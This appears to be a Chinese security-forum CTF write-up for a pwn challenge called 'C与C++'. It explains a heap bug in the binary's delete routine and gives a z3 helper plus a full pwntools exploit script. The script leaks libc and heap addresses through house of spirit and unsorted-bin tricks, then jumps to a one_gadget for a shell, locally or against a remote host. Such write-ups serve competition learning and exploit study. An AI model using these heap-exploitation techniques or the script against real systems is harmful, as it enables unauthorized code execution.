-
-
[原创]第九题 C与C++
-
2019-3-23 13:36
5567
-
1.思路
貌似got表可写,但实际都没用到,难道是非正规的解法
程序的漏洞点就在这个地方
delete一个堆就会计算这个堆的大小
然后就会调用这个堆后面的某个地方。
不知到作者这么设计的用意。
2.正文
其实有很多细节的东西在此就不一一阐述了,有问题的地方在下面留言就行了!
申请堆的大小有点恶心,但是是个递增函数不影响写个z3求
from z3 import *
#t=(0x8888888888888889 * (X + 14) >> 64) >> 3
s=Solver()
X=Int('X')
Y=BitVec('Y',64)
t=(0x8888888888888889 * (X + 14) / 18446744073709551616) / 8
s.add(t*0x18>=0x80)
s.add(And(X>=0,X<=0x400))
#print s.assertions()
if s.check()==sat:
print s.model()
申请的值还要*0x18里面填了一大堆0
既然明白了delete这个漏洞点,也就是说知道了堆地址你想跳到那执行都没问题!
这里用到的知识就是house of spirit
free掉这个块后在申请一个0x80的堆块就可以形成堆块重叠。
如图就可以泄露libc的基址。
那怎么泄露堆的基址呢!
答案:就是申请两个较大的堆块,free掉形成unsorted bin烤肉串就可以泄露堆的地址
接着就可写利用了
在申请一个堆delete掉
one_gadget就可以了
#-*- coding=utf-8 -*-
from pwn import *
import binascii as B
import sys
#e=ELF('libc6_2.27-3ubuntu1_amd64')
malloc_trim=0x3C27B8
one_gadget=0xE9415
context.arch='amd64'
if len(sys.argv)<2:
p=process('./candcpp')
context.log_level='debug'
gdb.attach(p,'b *0x400DA6\nb *0x401041')
else:
malloc_trim=0x3C4B78
one_gadget=0xF02A4
p=remote(sys.argv[1],int(sys.argv[2]))
def malloc(length,string):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Please input length of the string\n')
p.sendline(length)
p.recvuntil('Please input the string\n')
p.sendline(string)
def new(length,string):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Please input length of the string\n')
p.sendline(length)
p.recvuntil('Please input the string\n')
p.sendline(string)
def delete(index):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil('Please input index of the string\n')
p.sendline(index)
def free(index):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Please input index of the string\n')
p.sendline(index)
def puts(index):
p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('Please input index of the string\n')
p.sendline(index)
def exp():
p.recvuntil('Please input your name:')
p.sendline('wei')
payload='123'
malloc('1',payload)
payload='123'
new('1',payload)#0x401228
payload='1'*(458-0x18-0x6-0x8-0x7)+p32(0x4011C0)+'\x00'*3+p64(0x80)+p64(0x401230)+'1'*0x7 + p64(0x4008B0)#double free
malloc('450',payload)
payload='123'
malloc('1',payload)
payload='1'*0xF+p64(0x1234)+p64(0x1234)+p32(0x1234)
malloc('451',payload)
payload='123'
malloc('1',payload)
#free('4')
delete('0')
payload='wei'
malloc('75',payload)
free('4')
puts('6')
p.recvuntil('wei')
libc_addr=u64(p.recv(6)+'\x00'*2)-malloc_trim
log.info('addr='+hex(libc_addr))
one_shot=libc_addr+one_gadget
log.info('one_shot='+hex(one_shot))
payload='A'*8
malloc('451',payload)
payload='A'*8
malloc('451',payload)
payload='123'
malloc('1',payload)
free('7')
free('4')
puts('6')
p.recvuntil('wei')
addr=u64(p.recv(3)+'\x00'*5)
log.info('addr='+hex(addr))
payload='1'*(458-0x18-0x6-0x8-0x7)+p32(0x4011C0)+'\x00'*3+p64(0x80)+p64(0x401230)+'1'*0x7 + p32(addr+0x5e8+0x10)+'\x00'*3+p64(one_shot)#double free
malloc('490',payload)
delete('8')
p.interactive()
if __name__=="__main__":
exp()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-3-25 12:43
被大帅锅编辑
,原因: